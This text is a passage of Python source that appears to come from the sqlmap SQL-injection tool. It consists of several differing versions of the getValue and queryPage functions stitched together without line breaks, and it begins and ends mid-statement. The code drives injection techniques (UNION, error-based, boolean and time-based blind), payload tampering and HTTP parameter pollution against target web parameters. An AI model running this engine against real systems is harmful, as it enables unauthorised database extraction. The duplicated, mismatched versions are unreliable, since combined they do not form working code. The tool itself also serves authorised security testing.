PAYLOAD.TECHNIQUE. UNION].where == PAYLOAD.WHERE.ORIGINAL: warnMsg = "something went wrong with full UNION " warnMsg += "technique (most probably because of " warnMsg += "limitation on retrieved number of entries). " warnMsg += "Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) kb.forcePartialUnion = False if error and any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable( PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse( forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsName: _ = "".join( filter(None, (key if isTechniqueAvailable(value) else None for key, value in { "E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION }.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable( PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED)) and not found: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms( ) and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in ( DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target url page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None page = None pageLength = None uri = None if not place: place = kb.injection.place or PLACE.GET raise404 = place != PLACE.URI if raise404 is None else raise404 payload = agent.extractPayload(value) threadData = getCurrentThreadData() if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload) value = agent.replacePayload(value, payload) logger.log(9, payload) if place == PLACE.COOKIE and conf.cookieUrlencode: value = agent.removePayloadDelimiters(value) value = urlEncodeCookieValues(value) elif place: if place in (PLACE.GET, PLACE.POST, PLACE.URI): # payloads in GET and/or POST need to be urlencoded # throughly without safe chars (especially & and =) # addendum: as we support url encoding in tampering # functions therefore we need to use % as a safe char if place != PLACE.URI or ('?' in value and value.find('?') < value.find(payload)): payload = urlencode(payload, "%", False, True) value = agent.replacePayload(value, payload) elif place == PLACE.SOAP: # payloads in SOAP should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', '>').replace('<', '<') value = agent.replacePayload(value, payload) value = agent.removePayloadDelimiters(value) if conf.checkPayload: checkPayload(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value if PLACE.SOAP in conf.parameters: post = conf.parameters[PLACE.SOAP] if place != PLACE.SOAP or not value else value if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.UA in conf.parameters: ua = conf.parameters[PLACE.UA] if place != PLACE.UA or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString) if match: origValue = match.group("value") retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: for item in [PLACE.GET, PLACE.POST, PLACE.COOKIE]: if item in conf.parameters: origValue = conf.parameters[item] if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item == PLACE.POST and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) get = urlencode(get, limit=True) if post and place != PLACE.POST and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) else: post = urlencode(post) if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() warnMsg = "time-based comparison needs larger statistical " warnMsg += "model. Making a few dummy requests, please wait.." singleTimeWarnMessage(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) deviation = stdev(kb.responseTimes) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = False warnMsg = "there is considerable lagging (standard deviation: " warnMsg += "%.1f sec%s) " % (deviation, "s" if deviation > 1 else "") warnMsg += "in connection response(s). Please use as high " warnMsg += "value for --time-sec option as possible (e.g. " warnMsg += "%d or more)" % (conf.timeSec * 2) logger.critical(warnMsg) elif not kb.testMode: warnMsg = "it is very important not to stress the network adapter's " warnMsg += "bandwidth during usage of time-based queries" singleTimeWarnMessage(warnMsg) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders[HTTPHEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404) if headers: if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers: pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:]) if not pageLength: page, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) threadData.lastQueryDuration = calculateDeltaSeconds(start) if kb.testMode: kb.testQueryCount += 1 if conf.cj: conf.cj.clear() if timeBasedCompare: return wasLastRequestDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) if content or response: return page, headers if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) elif pageLength or page: return comparison(page, headers, code, getRatioValue, pageLength) else: return False
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue for keyword in GET_VALUE_UPPERCASE_KEYWORDS: expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any( isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION kb.forcePartialUnion = kb.injection.data[ PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[ PAYLOAD.TECHNIQUE. UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion try: value = _goUnion( forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable( PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse( forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: _ = "".join( filter(None, (key if isTechniqueAvailable(value) else None for key, value in { 'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION }.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable( PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED)) and not found: kb.responseTimeMode = re.sub( r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search( r"(?i)SELECT.+FROM", expression) else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any( (kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms( ) and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in ( DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) # Dirty patch (safe-encoded unicode characters) if isinstance(value, unicode) and "\\x" in value: try: candidate = eval( repr(value).replace("\\\\x", "\\x").replace( "u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) if "\\x" not in candidate: value = candidate except: pass return extractExpectedValue(value, expected)
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target URL page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None urlEncodePost = None if not place: place = kb.injection.place or PLACE.GET raise404 = place != PLACE.URI if raise404 is None else raise404 value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if conf.httpHeaders: headers = dict(conf.httpHeaders) contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) urlEncodePost = contentType and "urlencoded" in contentType or contentType is None if (kb.postHint or conf.skipUrlEncode) and urlEncodePost: urlEncodePost = False conf.httpHeaders = [ _ for _ in conf.httpHeaders if _[1] != contentType ] contentType = POST_HINT_CONTENT_TYPES.get( kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append( (HTTP_HEADER.CONTENT_TYPE, contentType)) if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload=payload, headers=auxHeaders) if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) if place == PLACE.CUSTOM_POST: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', ">").replace('<', "<") elif kb.postHint == POST_HINT.JSON: if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be throughly URL encoded if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE ) and not conf.skipUrlEncode or place in ( PLACE.POST, ) and urlEncodePost: payload = urlencode(payload, '%', False, place != PLACE.URI) value = agent.replacePayload(value, payload) if conf.hpp: if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) if place in (PLACE.GET, PLACE.POST): _ = re.escape(PAYLOAD_DELIMITER) match = re.search( "(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value) if match: payload = match.group("value") for splitter in (urlencode(' '), ' '): if splitter in payload: prefix, suffix = ( "*/", "/*") if splitter == ' ' else ( urlencode(_) for _ in ("*/", "/*")) parts = payload.split(splitter) parts[0] = "%s%s" % (parts[0], suffix) parts[-1] = "%s%s=%s%s" % ( DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1]) for i in xrange(1, len(parts) - 1): parts[i] = "%s%s=%s%s%s" % ( DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix) payload = "".join(parts) for splitter in (urlencode(','), ','): payload = payload.replace( splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))) value = agent.replacePayload(value, payload) else: warnMsg = "HTTP parameter pollution works only with regular " warnMsg += "GET and POST parameters" singleTimeWarnMessage(warnMsg) if place: value = agent.removePayloadDelimiters(value) if PLACE.GET in conf.parameters: get = conf.parameters[ PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[ PLACE.POST] if place != PLACE.POST or not value else value if PLACE.CUSTOM_POST in conf.parameters: post = conf.parameters[PLACE.CUSTOM_POST].replace( CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value post = post.replace(ASTERISK_MARKER, '*') if post else post if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[ PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.USER_AGENT in conf.parameters: ua = conf.parameters[ PLACE. USER_AGENT] if place != PLACE.USER_AGENT or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[ PLACE. REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[ PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if value and place == PLACE.CUSTOM_HEADER: if not auxHeaders: auxHeaders = {} auxHeaders[value.split(',')[0]] = value.split(',', 1)[1] if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString) if match: origValue = match.group("value") retVal = re.sub( "%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item == PLACE.POST and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter( cookie, randomParameter) if conf.evalCode: delimiter = conf.pDel or DEFAULT_GET_POST_DELIMITER variables = {} originals = {} for item in filter(None, (get, post)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) value = urldecode(value, convall=True, plusspace=(item == post and kb.postSpaceToPlus)) evaluateCode("%s=%s" % (name, repr(value)), variables) if cookie: for part in cookie.split(conf.cDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: name, value = part.split('=', 1) value = urldecode(value, convall=True) evaluateCode("%s=%s" % (name, repr(value)), variables) originals.update(variables) evaluateCode(conf.evalCode, variables) for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): found = False value = unicode(value) regex = r"((\A|%s)%s=).+?(%s|\Z)" % ( re.escape(delimiter), name, re.escape(delimiter)) if re.search(regex, (get or "")): found = True get = re.sub(regex, "\g<1>%s\g<3>" % value, get) if re.search(regex, (post or "")): found = True post = re.sub(regex, "\g<1>%s\g<3>" % value, post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % ( re.escape(conf.cDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie) if not found: if post is not None: post += "%s%s=%s" % (delimiter, name, value) elif get is not None: get += "%s%s=%s" % (delimiter, name, value) elif cookie is not None: cookie += "%s%s=%s" % ( conf.cDel or DEFAULT_COOKIE_DELIMITER, name, value) if not conf.skipUrlEncode: get = urlencode(get, limit=True) if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr( post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif urlEncodePost: post = urlencode(post, spaceplus=kb.postSpaceToPlus) if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of its high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "time-based comparison needs larger statistical " warnMsg += "model. Making a few dummy requests, please wait.." singleTimeWarnMessage(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) elif not kb.testMode: warnMsg = "it is very important not to stress the network adapter's " warnMsg += "bandwidth during usage of time-based payloads" singleTimeWarnMessage(warnMsg) if not kb.laggingChecked: kb.laggingChecked = True deviation = stdev(kb.responseTimes) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "there is considerable lagging " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "10 or more)" logger.critical(warnMsg) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False pushValue(kb.pageCompress) kb.pageCompress = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage( url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) if headers: if kb.nullConnection in ( NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ ) and HTTP_HEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers: pageLength = int( headers[HTTP_HEADER.CONTENT_RANGE] [headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) kb.pageCompress = popValue() if not pageLength: try: page, headers, code = Connect.getPage( url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) except MemoryError: page, headers, code = None, None, None warnMsg = "site returned insanely large response" if kb.testMode: warnMsg += " in testing phase. This is a common " warnMsg += "behavior in custom WAF/IDS/IPS solutions" singleTimeWarnMessage(warnMsg) if conf.secondOrder: page, headers, code = Connect.getPage( url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) kb.originalCode = kb.originalCode or code if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastResponseDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None if content or response: return page, headers if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison( page, headers, code, getRatioValue=True, pageLength=pageLength) else: return comparison(page, headers, code, getRatioValue, pageLength)
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target url page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None if not place: place = kb.injection.place or PLACE.GET raise404 = place != PLACE.URI if raise404 is None else raise404 value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload, auxHeaders = function(payload=payload, headers=auxHeaders) value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) if place in (PLACE.GET, PLACE.POST, PLACE.URI, PLACE.CUSTOM_POST): # payloads in GET and/or POST need to be urlencoded # throughly without safe chars (especially & and =) # addendum: as we support url encoding in tampering # functions therefore we need to use % as a safe char if place != PLACE.URI or ( value and payload and '?' in value and value.find('?') < value.find(payload)): payload = urlencode( payload, '%', False, True ) if not place in (PLACE.POST, PLACE.CUSTOM_POST ) and conf.skipUrlEncode else payload value = agent.replacePayload(value, payload) elif place == PLACE.SOAP: # payloads in SOAP should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', ">").replace('<', "<") value = agent.replacePayload(value, payload) if place: value = agent.removePayloadDelimiters(value) if place == PLACE.COOKIE and conf.cookieUrlencode: value = urlEncodeCookieValues(value) if conf.checkPayload: checkPayload(value) if PLACE.GET in conf.parameters: get = conf.parameters[ PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[ PLACE.POST] if place != PLACE.POST or not value else value if PLACE.CUSTOM_POST in conf.parameters: post = conf.parameters[PLACE.CUSTOM_POST].replace( CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value if PLACE.SOAP in conf.parameters: post = conf.parameters[ PLACE.SOAP] if place != PLACE.SOAP or not value else value if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[ PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.USER_AGENT in conf.parameters: ua = conf.parameters[ PLACE. USER_AGENT] if place != PLACE.USER_AGENT or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[ PLACE. REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[ PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString) if match: origValue = match.group("value") retVal = re.sub( "%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item == PLACE.POST and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter( cookie, randomParameter) if conf.evalCode: delimiter = conf.pDel or "&" variables = {} originals = {} for item in filter(None, (get, post)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) evaluateCode("%s='%s'" % (name, value), variables) originals.update(variables) evaluateCode(conf.evalCode, variables) for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): value = unicode(value) if '%s=' % name in (get or ""): get = re.sub( "((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, get) elif '%s=' % name in (post or ""): post = re.sub( "((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, post) elif post: post += "%s%s=%s" % (delimiter, name, value) else: get += "%s%s=%s" % (delimiter, name, value) get = urlencode(get, limit=True) if post: if conf.skipUrlEncode is None: _ = (post or "").strip() if _.startswith("<") and _.endswith(">"): msg = "provided POST data looks " msg += "like it's in XML format. " msg += "Do you want to turn off URL encoding " msg += "which is usually causing problems " msg += "in this kind of situations? [Y/n]" conf.skipUrlEncode = readInput(msg, default="Y").upper() != "N" if place not in (PLACE.POST, PLACE.SOAP, PLACE.CUSTOM_POST) and hasattr( post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif not conf.skipUrlEncode and place not in (PLACE.SOAP, ): post = urlencode(post) if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of its high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "time-based comparison needs larger statistical " warnMsg += "model. Making a few dummy requests, please wait.." singleTimeWarnMessage(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) deviation = stdev(kb.responseTimes) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = False warnMsg = "there is considerable lagging " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "%d or more)" % (conf.timeSec * 2) logger.critical(warnMsg) elif not kb.testMode: warnMsg = "it is very important not to stress the network adapter's " warnMsg += "bandwidth during usage of time-based queries" singleTimeWarnMessage(warnMsg) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, 